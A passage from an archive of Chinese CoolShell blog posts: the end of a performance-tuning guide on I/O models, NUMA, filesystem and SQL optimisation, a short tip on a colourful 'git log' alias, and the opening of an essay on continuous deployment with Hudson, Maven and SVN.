2.6以后才支持（准确说是2.5.44中引入的），当然，如果所有的链接都是活跃的，过多的使用epoll_ctl可能会比轮询的方式还影响性能，不过影响的不大。</p>\n<p>另外，关于一些和DNS Lookup的系统调用要小心，比如：gethostbyaddr/gethostbyname，这个函数可能会相当的费时，因为其要到网络上去找域名，因为DNS的递归查询，会导致严重超时，而又不能通过设置什么参数来设置time out，对此你可以通过配置hosts文件来加快速度，或是自己在内存中管理对应表，在程序启动时查好，而不要在运行时每次都查。另外，在多线程下面，gethostbyname会一个更严重的问题，就是如果有一个线程的gethostbyname发生阻塞，其它线程都会在gethostbyname处发生阻塞，这个比较变态，要小心。（你可以试试GNU的gethostbyname_r()，这个的性能要好一些） 这种到网上找信息的东西很多，比如，如果你的Linux使用了NIS，或是NFS，某些用户或文件相关的系统调用就很慢，所以要小心。</p>\n<p><strong>4.4）系统调优</strong></p>\n<p><strong>A）I/O模型</strong></p>\n<p>前面说到过select/poll/epoll这三个系统调用，我们都知道，Unix/Linux下把所有的设备都当成文件来进行I/O，所以，那三个操作更应该算是I/O相关的系统调用。说到  I/O模型，这对于我们的I/O性能相当重要，我们知道，Unix/Linux经典的I/O方式是（关于Linux下的I/O模型，大家可以读一下这篇文章《<a href=\"http://www.ibm.com/developerworks/cn/linux/l-async/\" target=\"_blank\">使用异步I/O大大提高性能</a>》）：</p>\n<p>第一种，同步阻塞式I/O，这个不说了。</p>\n<p>第二种，同步无阻塞方式。其通过fctnl设置 O_NONBLOCK 来完成。</p>\n<p>第三种，对于select/poll/epoll这三个是I/O不阻塞，但是在事件上阻塞，算是：I/O异步，事件同步的调用。</p>\n<p>第四种，AIO方式。这种I/O 模型是一种处理与 I/O 并行的模型。I/O请求会立即返回，说明请求已经成功发起了。在后台完成I/O操作时，向应用程序发起通知，通知有两种方式：一种是产生一个信号，另一种是执行一个基于线程的回调函数来完成这次 I/O 处理过程。</p>\n<p>第四种因为没有任何的阻塞，无论是I/O上，还是事件通知上，所以，其可以让你充分地利用CPU，比起第二种同步无阻塞好处就是，第二种要你一遍一遍地去轮询。Nginx之所所以高效，是其使用了epoll和AIO的方式来进行I/O的。</p>\n<p>再说一下Windows下的I/O模型，</p>\n<p>a）一个是WriteFile系统调用，这个系统调用可以是同步阻塞的，也可以是同步无阻塞的，关于看文件是不是以Overlapped打开的。关于同步无阻塞，需要设置其最后一个参数Overlapped，微软叫Overlapped I/O，你需要WaitForSingleObject才能知道有没有写完成。这个系统调用的性能可想而知。</p>\n<p>b）另一个叫WriteFileEx的系统调用，其可以实现异步I/O，并可以让你传入一个callback函数，等I/O结束后回调之， 但是这个回调的过程Windows是把callback函数放到了APC（<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms681951(v=vs.85).aspx\" target=\"_blank\">Asynchronous Procedure Calls</a>）的队列中，然后，只用当应用程序当前线程成为可被通知状态（Alterable）时，才会被回调。只有当你的线程使用了这几个函数时<a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms687036(v=vs.85).aspx\">WaitForSingleObjectEx</a>, <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms687028(v=vs.85).aspx\">WaitForMultipleObjectsEx</a>, <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms684245(v=vs.85).aspx\">MsgWaitForMultipleObjectsEx</a>, <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms686293(v=vs.85).aspx\">SignalObjectAndWait</a> 和 <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms686307(v=vs.85).aspx\">SleepEx</a>，线程才会成为Alterable状态。可见，这个模型，还是有wait，所以性能也不高。</p>\n<p>c）然后是IOCP – IO Completion Port，IOCP会把I/O的结果放在一个队列中，但是，侦听这个队列的不是主线程，而是专门来干这个事的一个或多个线程去干（老的平台要你自己创建线程，新的平台是你可以创建一个线程池）。IOCP是一个线程池模型。这个和Linux下的AIO模型比较相似，但是实现方式和使用方式完全不一样。</p>\n<p>当然，真正提高I/O性能方式是把和外设的I/O的次数降到最低，最好没有，所以，对于读来说，内存cache通常可以从质上提升性能，因为内存比外设快太多了。对于写来说，cache住要写的数据，少写几次，但是cache带来的问题就是实时性的问题，也就是latency会变大，我们需要在写的次数上和相应上做权衡。</p>\n<p><strong>B）多核<strong>CPU</strong>调优</strong></p>\n<p>关于CPU的多核技术，我们知道，CPU0是很关键的，如果0号CPU被用得过狠的话，别的CPU性能也会下降，因为CPU0是有调整功能的，所以，我们不能任由操作系统负载均衡，因为我们自己更了解自己的程序，所以，我们可以手动地为其分配CPU核，而不会过多地占用CPU0，或是让我们关键进程和一堆别的进程挤在一起。</p>\n<ul>\n<li>对于Windows来说，我们可以通过“任务管理器”中的“进程”而中右键菜单中的“设置相关性……”（Set Affinity…）来设置并限制这个进程能被运行在哪些核上。</li>\n</ul>\n<ul>\n<li>对于Linux来说，可以使用taskset命令来设置（你可以通过安装schedutils来安装这个命令：apt-get install schedutils）</li>\n</ul>\n<p>多核CPU还有一个技术叫<a href=\"http://en.wikipedia.org/wiki/Non-Uniform_Memory_Access\" target=\"_blank\">NUMA</a>技术（Non-Uniform Memory Access）。传统的多核运算是使用SMP(Symmetric Multi-Processor )模式，多个处理器共享一个集中的存储器和I/O总线。于是就会出现一致存储器访问的问题，一致性通常意味着性能问题。NUMA模式下，处理器被划分成多个node， 每个node有自己的本地存储器空间。关于NUMA的一些技术细节，你可以查看一下这篇文章《<a href=\"http://www.ibm.com/developerworks/cn/linux/l-numa/index.html\" target=\"_blank\">Linux 的 NUMA 技术</a>》，在Linux下，对NUMA调优的命令是：<strong>numactl </strong>。如下面的命令：（指定命令“myprogram arg1 arg2”运行在node 0 上，其内存分配在node 0 和 1上）</p>\n<p><code class=\"EnlighterJSRAW\">numactl --cpubind=0 --membind=0,1 myprogram arg1 arg2</code></p>\n<p>当然，上面这个命令并不好，因为内存跨越了两个node，这非常不好。最好的方式是只让程序访问和自己运行一样的node，如：</p>\n<p><code class=\"EnlighterJSRAW\">$ numactl --membind 1 --cpunodebind 1 --localalloc myapplication</code></p>\n<p><strong>C）文件系统调优</strong></p>\n<p>关于文件系统，因为文件系统也是有cache的，所以，为了让文件系统有最大的性能。首要的事情就是分配足够大的内存，这个非常关键，在Linux下可以使用free命令来查看 free/used/buffers/cached，理想来说，buffers和cached应该有40%左右。然后是一个快速的硬盘控制器，SCSI会好很多。最快的是Intel SSD 固态硬盘，速度超快，但是写次数有限。</p>\n<p>接下来，我们就可以调优文件系统配置了，对于Linux的Ext3/4来说，几乎在所有情况下都有所帮助的一个参数是关闭文件系统访问时间，在/etc/fstab下看看你的文件系统 有没有noatime参数（一般来说应该有），还有一个是dealloc，它可以让系统在最后时刻决定写入文件发生时使用哪个块，可优化这个写入程序。还要注间一下三种日志模式：data=journal、data=ordered和data=writeback。默认设置data=ordered提供性能和防护之间的最佳平衡。</p>\n<p>当然，对于这些来说，ext4的默认设置基本上是最佳优化了。</p>\n<p>这里介绍一个Linux下的查看I/O的命令—— iotop，可以让你看到各进程的磁盘读写的负载情况。</p>\n<p>其它还有一些关于NFS、XFS的调优，大家可以上google搜索一些相关优化的文章看看。关于各文件系统，大家可以看一下这篇文章——《<a href=\"http://www.ibm.com/developerworks/cn/linux/l-jfs/\" target=\"_blank\">Linux日志文件系统及性能分析</a>》</p>\n<p><strong>4.5）数据库调优</strong></p>\n<p>数据库调优并不是我的强项，我就仅用我非常有限的知识说上一些吧。注意，下面的这些东西并不一定正确，因为在不同的业务场景，不同的数据库设计下可能会得到完全相反的结论，所以，我仅在这里做一些一般性的说明，具体问题还要具体分析。</p>\n<p><strong>A）数据库引擎调优</strong></p>\n<p>我对数据库引擎不是熟，但是有几个事情我觉得是一定要去了解的。</p>\n<ul>\n<li><strong>数据库的锁的方式</strong>。这个非常非常地重要。并发情况下，锁是非常非常影响性能的。各种隔离级别，行锁，表锁，页锁，读写锁，事务锁，以及各种写优先还是读优先机制。性能最高的是不要锁，所以，分库分表，冗余数据，减少一致性事务处理，可以有效地提高性能。NoSQL就是牺牲了一致性和事务处理，并冗余数据，从而达到了分布式和高性能。</li>\n<li><strong>数据库的存储机制</strong>。不但要搞清楚各种类型字段是怎么存储的，更重要的是数据库的数据存储方式，是怎么分区的，是怎么管理的，比如Oracle的数据文件，表空间，段，等等。了解清楚这个机制可以减轻很多的I/O负载。比如：MySQL下使用<span style=\"font-size: xx-small;\">show engines;</span>可以看到各种存储引擎的支持。不同的存储引擎有不同的侧重点，针对不同的业务或数据库设计会让你有不同的性能。</li>\n<li><strong>数据库的分布式策略</strong>。最简单的就是复制或镜像，需要了解分布式的一致性算法，或是主主同步，主从同步。通过了解这种技术的机理可以做到数据库级别的水平扩展。</li>\n</ul>\n<p><strong>B）SQL语句优化</strong></p>\n<p>关于SQL语句的优化，首先也是要使用工具，比如：<a href=\"http://www.mysql.com/products/enterprise/query.html\" target=\"_blank\">MySQL SQL Query Analyzer</a>，<a href=\"http://www.oracle-base.com/articles/11g/sql-performance-analyzer-11gr1.php\" target=\"_blank\">Oracle SQL Performance Analyzer</a>，或是微软<a href=\"http://msdn.microsoft.com/en-us/library/aa216945(v=sql.80).aspx\" target=\"_blank\">SQL Query Analyzer</a>，基本上来说，所有的RMDB都会有这样的工具，来让你查看你的应用中的SQL的性能问题。 还可以使用explain来看看SQL语句最终Execution Plan会是什么样的。</p>\n<p>还有一点很重要，数据库的各种操作需要大量的内存，所以服务器的内存要够，优其应对那些多表查询的SQL语句，那是相当的耗内存。</p>\n<p>下面我根据我有限的数据库SQL的知识说几个会有性能问题的SQL：</p>\n<ul>\n<li><strong>全表检索</strong>。比如：select * from user where lastname = “xxxx”，这样的SQL语句基本上是全表查找，线性复杂度O(n)，记录数越多，性能也越差（如：100条记录的查找要50ms，一百万条记录需要5分钟）。对于这种情况，我们可以有两种方法提高性能：一种方法是分表，把记录数降下来，另一种方法是建索引（为lastname建索引）。索引就像是key-value的数据结构一样，key就是where后面的字段，value就是物理行号，对索引的搜索复杂度是基本上是O(log(n)) ——用B-Tree实现索引（如：100条记录的查找要50ms，一百万条记录需要100ms）。</li>\n</ul>\n<ul>\n<li><strong>索引</strong>。对于索引字段，最好不要在字段上做计算、类型转换、函数、空值判断、字段连接操作，这些操作都会破坏索引原本的性能。当然，索引一般都出现在Where或是Order by字句中，所以对Where和Order by子句中的子段最好不要进行计算操作，或是加上什么NOT之类的，或是使用什么函数。</li>\n</ul>\n<ul>\n<li><strong>多表查询</strong>。关系型数据库最多的操作就是多表查询，多表查询主要有三个关键字，EXISTS，IN和JOIN（关于各种join，可以参看<a href=\"https://coolshell.cn/articles/3463.html\" target=\"_blank\" title=\"图解SQL的Join\">图解SQL的Join</a>一文）。基本来说，现代的数据引擎对SQL语句优化得都挺好的，JOIN和IN/EXISTS在结果上有些不同，但性能基本上都差不多。有人说，EXISTS的性能要好于IN，IN的性能要好于JOIN，我各人觉得，这个还要看你的数据、schema和SQL语句的复杂度，对于一般的简单的情况来说，都差不多，所以千万不要使用过多的嵌套，千万不要让你的SQL太复杂，宁可使用几个简单的SQL也不要使用一个巨大无比的嵌套N级的SQL。还有人说，如果两个表的数据量差不多，Exists的性能可能会高于In，In可能会高于Join，如果这两个表一大一小，那么子查询中，Exists用大表，In则用小表。这个，我没有验证过，放在这里让大家讨论吧。另，有一篇关于SQL Server的文章大家可以看看《<a href=\"http://explainextended.com/2009/06/16/in-vs-join-vs-exists/\" target=\"_blank\">IN vs JOIN vs EXISTS</a>》</li>\n</ul>\n<ul>\n<li><strong>JOIN操作</strong>。有人说，Join表的顺序会影响性能，只要Join的结果集是一样，性能和join的次序无关。因为后台的数据库引擎会帮我们优化的。Join有三种实现算法，嵌套循环，排序归并，和Hash式的Join。（MySQL只支持第一种）</li>\n</ul>\n<ul style=\"padding-left: 60px;\">\n<ul>\n<li>嵌套循环，就好像是我们常见的多重嵌套循环。注意，前面的索引说过，数据库的索引查找算法用的是B-Tree，这是O(log(n))的算法，所以，整个算法复法度应该是O(log(n)) * O(log(m)) 这样的。</li>\n<li>Hash式的Join，主要解决嵌套循环的O(log(n))的复杂，使用一个临时的hash表来标记。</li>\n<li>排序归并，意思是两个表按照查询字段排好序，然后再合并。当然，索引字段一般是排好序的。</li>\n</ul>\n</ul>\n<p style=\"padding-left: 60px;\">还是那句话，具体要看什么样的数据，什么样的SQL语句，你才知道用哪种方法是最好的。</p>\n<ul>\n<li><strong>部分结果集。</strong>我们知道MySQL里的Limit关键字，Oracle里的rownum，SQL Server里的Top都是在限制前几条的返回结果。这给了我们数据库引擎很多可以调优的空间。一般来说，返回top n的记录数据需要我们使用order by，注意在这里我们需要为order by的字段建立索引。有了被建索引的order by后，会让我们的select语句的性能不会被记录数的所影响。使用这个技术，一般来说我们前台会以分页方式来显现数据，Mysql用的是OFFSET，SQL Server用的是FETCH NEXT，这种Fetch的方式其实并不好是线性复杂度，所以，如果我们能够知道order by字段的第二页的起始值，我们就可以在where语句里直接使用&gt;=的表达式来select，这种技术叫seek，而不是fetch，seek的性能比fetch要高很多。</li>\n</ul>\n<ul>\n<li><strong>字符串</strong>。正如我前面所说的，字符串操作对性能上有非常大的恶梦，所以，能用数据的情况就用数字，比如：时间，工号，等。</li>\n</ul>\n<ul>\n<li><strong>全文检索</strong>。千万不要用Like之类的东西来做全文检索，如果要玩全文检索，可以尝试使用<a href=\"http://sphinxsearch.com/\" target=\"_blank\">Sphinx</a>。</li>\n</ul>\n<ul>\n<li><strong>其它</strong>。\n<ul>\n<li>不要select *，而是明确指出各个字段，如果有多个表，一定要在字段名前加上表名，不要让引擎去算。</li>\n<li>不要用Having，因为其要遍历所有的记录。性能差得不能再差。</li>\n<li>尽可能地使用UNION ALL  取代  UNION。</li>\n<li>索引过多，insert和delete就会越慢。而update如果update多数索引，也会慢，但是如果只update一个，则只会影响一个索引表。</li>\n<li>等等。</li>\n</ul>\n</li>\n</ul>\n<p>关于SQL语句的优化，网上有很多文章， 不同的数据库引擎有不同的优化技巧，正如本站以前转发的《<a href=\"https://coolshell.cn/articles/1846.html\" rel=\"bookmark\">MySQL性能优化的最佳20+条经验</a>》</p>\n<p>先写这么多吧，欢迎大家指正补充。</p>\n<blockquote><p><strong>注：</strong>这篇文章的确是个大杂烩。其实其中的说到的很多技术在网上都有很多很多的技术文章，google一下就能找到一堆有很多细节的文章，所以我也就不写了。这篇性能调优的文章写作的动机是之前看到 <a href=\"http://weibo.com/n/%E6%B7%98%E5%AE%9D%E8%A4%9A%E9%9C%B8\">@淘宝褚霸</a> 强推的<a href=\"http://highscalability.com/\">highscalability.com</a>上的这篇文章：<a href=\"http://highscalability.com/blog/2012/5/16/big-list-of-20-common-bottlenecks.html\" target=\"_blank\">Big List Of 20 Common Bottlenecks</a>，觉得这篇文章泛泛而谈，觉得自己能写得比它好，所以就产生了动机。</p></blockquote>\n<p>（<span style=\"color: #cc0000;\"><strong>转载时请注明作者和出处，请勿用于商业用途</strong></span>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19840.html\"><img alt=\"HTTP的前世今生\" height=\"150\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-6-24 Git显示漂亮日志的小技巧.html",
    "content": "<html><body><p>原文：<a href=\"http://garmoncheg.blogspot.com/2012/06/pretty-git-log.html\" target=\"_blank\">http://garmoncheg.blogspot.com/2012/06/pretty-git-log.html</a> （墙）</p>\n<p>Git的传统log如下所示，你喜欢吗？</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"size-full wp-image-7758 aligncenter\" height=\"321\" src=\"../wp-content/uploads/2012/06/git.log_.01.png\" title=\"默认的Git的log\" width=\"578\"/></p>\n<p style=\"text-align: left;\">看看下面这个你喜不喜欢？（点击图片看大图）</p>\n<p style=\"text-align: left;\"><span id=\"more-7755\"></span></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/06/git.log_.02.png\"><img alt=\"\" class=\"aligncenter wp-image-7759\" height=\"280\" src=\"../wp-content/uploads/2012/06/git.log_.02.png\" title=\"改进版的Git的日志\" width=\"620\"/></a></p>\n<p style=\"text-align: left;\">要做到这样，命令行如下：</p>\n<p><code class=\"EnlighterJSRAW\">git log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)&lt;%an&gt;%Creset' --abbrev-commit --</code></p>\n<p>这样有点长了，我们可以这样：</p>\n<p><code class=\"EnlighterJSRAW\">git config --global alias.lg \"log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)&lt;%an&gt;%Creset' --abbrev-commit --\"</code></p>\n<p>然后，我们就可以使用这样的短命令了：</p>\n<p><code class=\"EnlighterJSRAW\">git lg</code></p>\n<p>如果你想看看git log –pretty=format的参数，你可以看看<a href=\"http://git-scm.com/book/zh/Git-%E5%9F%BA%E7%A1%80-%E6%9F%A5%E7%9C%8B%E6%8F%90%E4%BA%A4%E5%8E%86%E5%8F%B2\" target=\"_blank\">这篇文章</a>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3288.html\"><img alt=\"版本管理器的发展史\" height=\"150\" src=\"../wp-content/uploads/2010/11/scmhistory-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3288.html\">版本管理器的发展史</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7755.html\">Git显示漂亮日志的小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-6-25 持续部署，并不简单！.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: left;\">【<strong>感谢 <a href=\"http://weibo.com/renfake\" target=\"_blank\">@常新居士</a> 投递此文</strong> 】</p>\n<p style=\"text-align: left;\">这几年，持续集成随着敏捷在国内的推广而持续走热，与之相伴的持续部署也一直备受关注。<strong>自前两年，持续交付这个延续性概念又闯进了国内IT圈，慢慢开始在社区和会议中展露头角。许多不明真相的群众跟风哭着喊着要“上”，而许多前CI的半吊子玩家换件衣服就接着干，有的甚至衣服都来不及换……</strong>。国内的这些土财主如果不巧请了某些所谓的战略家，除了建了一堆持续集成环境，以及每天嚷嚷着要这个要那个，混乱的状况在根本上没有得到改善。本文无意费力探讨持续集成和持续交付的概念，而是打算谈谈对于大型软件企业，以持续集成为基础实现持续部署（交付）时，所要面对的问题以及可行的解决方案。地主老财们，夜黑风正猛，山高路又远，注意脚下……</p>\n<p style=\"text-align: right;\"><strong>And God Said, Let there be light: and there wa</strong>— GENSIS, Charpter 1, King James</p>\n<h4>一、起步</h4>\n<p>先来讲个故事……</p>\n<p>几年前，一对留美的夫妇通过朋友找到我，让我帮忙在国内组建一个开发团队，该团队负责为其开发一款基于社交网络的客户关系管理软件,（暂且称之为项目A）。这个项目除了尚不清晰的需求范围和很紧的期限外，作为业内人士的老公Richard根据眼下流行的软件开发过程还提了诸多额外的要求：</p>\n<ul>\n<li><strong>功能要及早交付</strong>（以便拿去和潜在的投资人洽谈）</li>\n<li><strong>功能在部署到生产环境前要先部署的一个测试环境</strong>（Richard要试用后给予反馈）</li>\n<li><strong>功能必须经过测试</strong>（长期作为软件外包的甲方，对质量要求严格）</li>\n<li><strong>要减少后期维护的工作</strong>（美国人精贵，少雇一个是一个）</li>\n<li><strong>支持协同开发</strong>（以便维护人员及早介入）</li>\n<li>……</li>\n</ul>\n<p><span style=\"color: #000000;\"><strong>这正是持续集成所要解决的典型场景</strong></span>。针对Richard的要求，我们只要建立一个基于Hudson（现在叫Jenkins）+Maven +SVN 的持续集成环境（再加上持续集成所要求的测试和过程）就可以很好地满足上述要要求，此方案的结构如下：</p>\n<p><span id=\"more-7657\"></span></p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7686\" rel=\"attachment wp-att-7686\"><img alt=\"\" class=\"alignnone wp-image-7686 aligncenter\" height=\"719\" src=\"../wp-content/uploads/2012/06/hudsonCI2.jpg\" width=\"693\"/></a></p>\n<p>对于上述方案，让我们近距离看看各个服务器的内部情况，以及人员在这种方案下的分工协作：</p>\n<p><a href=\"https://coolshell.cn/?attachment_id=7708\" rel=\"attachment wp-att-7708\"><img alt=\"\" class=\"alignnone wp-image-7708 aligncenter\" height=\"438\" src=\"../wp-content/uploads/2012/06/response.jpg\" width=\"658\"/></a></p>\n<p>我们先谈谈上面的图中涉及的一些概念性问题：</p>\n<h5><strong>1.1）编译时依赖</strong>和<strong>运行时依赖</strong></h5>\n<p>从字面上不难理解这两种依赖的类型。但要注意虽然编译时依赖常常也是运行时依赖，但并不能推断出一方必然是另一方。比如，在开发的过程中需要某些提供API的Jar包，而运行时可能是具体API实现的Jar包。再者，被依赖的包会有其自身的依赖，因此,项目对这些包产生间接依赖（<strong>运行时依赖</strong>），依此类推，最终形成一个<strong>依赖树</strong>。当项目运行时，这些依赖树上的包必须全部就位。</p>\n<p>Maven在POM中通scope来界定依赖的类型，从而帮助开发和运维人员摆脱手动处理依赖树的工作，然而运行时所依赖包最终是要安装到生产环境的，这部分工作Maven并不能自动完成。因此，一个常用方式是将运行时所依赖的包拷贝到项目文件中，比如Java Web应用的WEB-INF/lib，然后将项目总的打一个包。<strong>在安装项目包后，修改环境变量，将这些包所在的路径加入相应的环境变量中，如ClassPath</strong>。</p>\n<p>再看个例子，现代的操作系统和其它系统框架都考虑到了运行时依赖树的处理问题，比如Ubuntu的apt-get，CentOS的yum，Ruby的RubyGem，Node的npm等等。</p>\n<h5>1.2）依赖时的复杂度</h5>\n<p>项目除了对程序包的依赖，对于运行环境也有些具体的要求，比如，Web应用需要安装和配置Web服务器，应用服务器，数据服务器等，企业应用中可能需要消息队列，缓存，定时作业，或是对其它系统以Web Service方式暴露的服务。这些可以看做项目在系统层面对外部的依赖。这些依赖有些可以由项目自行处理，而有些则是项目无法处理的，比如运行容器，操作系统等，这些是项目的运行环境。</p>\n<p>总之，依赖的复杂度主要有两个：</p>\n<ol>\n<li>依赖包间的版本兼容性问题。兼容性问题是软件开发的恶梦</li>\n<li>间接依赖，或多重依赖问题。这个问题可以类比想像一下C++中的多重继续种出现的很多问题。</li>\n</ol>\n<div>比如：Ａ依赖于python 2.7，A还依赖于B，但是B却依赖于python 3，而Python 2.7和Python 3不兼容。这是依赖中最恶心的事。</div>\n<h5>1.3）任务分工</h5>\n<p>由于项目简单，因此并不需要专门的运维人员。以一个100人左右以交付为主业（恩，就是做外包）的公司为例，由于没有任何历史项目和代码的拖累，且各个项目间也没有任何关联，故而只需要配备一个IT支持人员进行资源方面的管理：分配机器，报修，初始化系统，分配IP地址等。各个项目的运行环境、数据库、开发环境等都由具体项目的开发人员手动完成。 环境出问题怎么办？很简单，凉拌——重装系统。实际的运行效果不错。</p>\n<h5>1.4）自动化部署</h5>\n<p>由于Hudson这样的持续集成环境提供了自动编译（定时或触发式）的功能，而且可以在编译过程中提供了一些扩展点，因此通过提供一个部署用的脚本，就可以非常容易实现简单的自动化部署。</p>\n<p>毫无疑问，持续集成就是敏捷的魔法药，它见效快、副作用小、业界的争论少。每每运用在混乱的项目中时，几周内项目就开始持续的产出经过测试的功能。对于独立项目，以持续集成为中心的持续部署绝对是不二选择。</p>\n<p><strong>但是，我们有没有想过，这会是一个自动化部署的通用解决方案吗？持续集成应该位于持续交付的中心吗？</strong></p>\n<h4>二、困境</h4>\n<p>回到我们的故事：项目A上线两年后，运营业绩不错，投资人第一轮注资后，Richard的公司进行了扩张，他们对项目进行了重构，而且随着用户数量的增长，公司分别在美国、英国和日本等地建立了运营中心，并且对亚洲市场进行的定制功能开发（项目A+），接下来，公司又投入开发了团购系统（项目B）。在获得了新一轮投资后，各条本来比较简单的业务和功能线上越来越复杂，需要不断地细分，于是公司再度扩张（开发人员达到了300人，国内200多人，而运维团队主要在美国），随后又为项目A/A+的高级用户开发了问答系统（项目C）。目前，他们正准备开发手机系统。 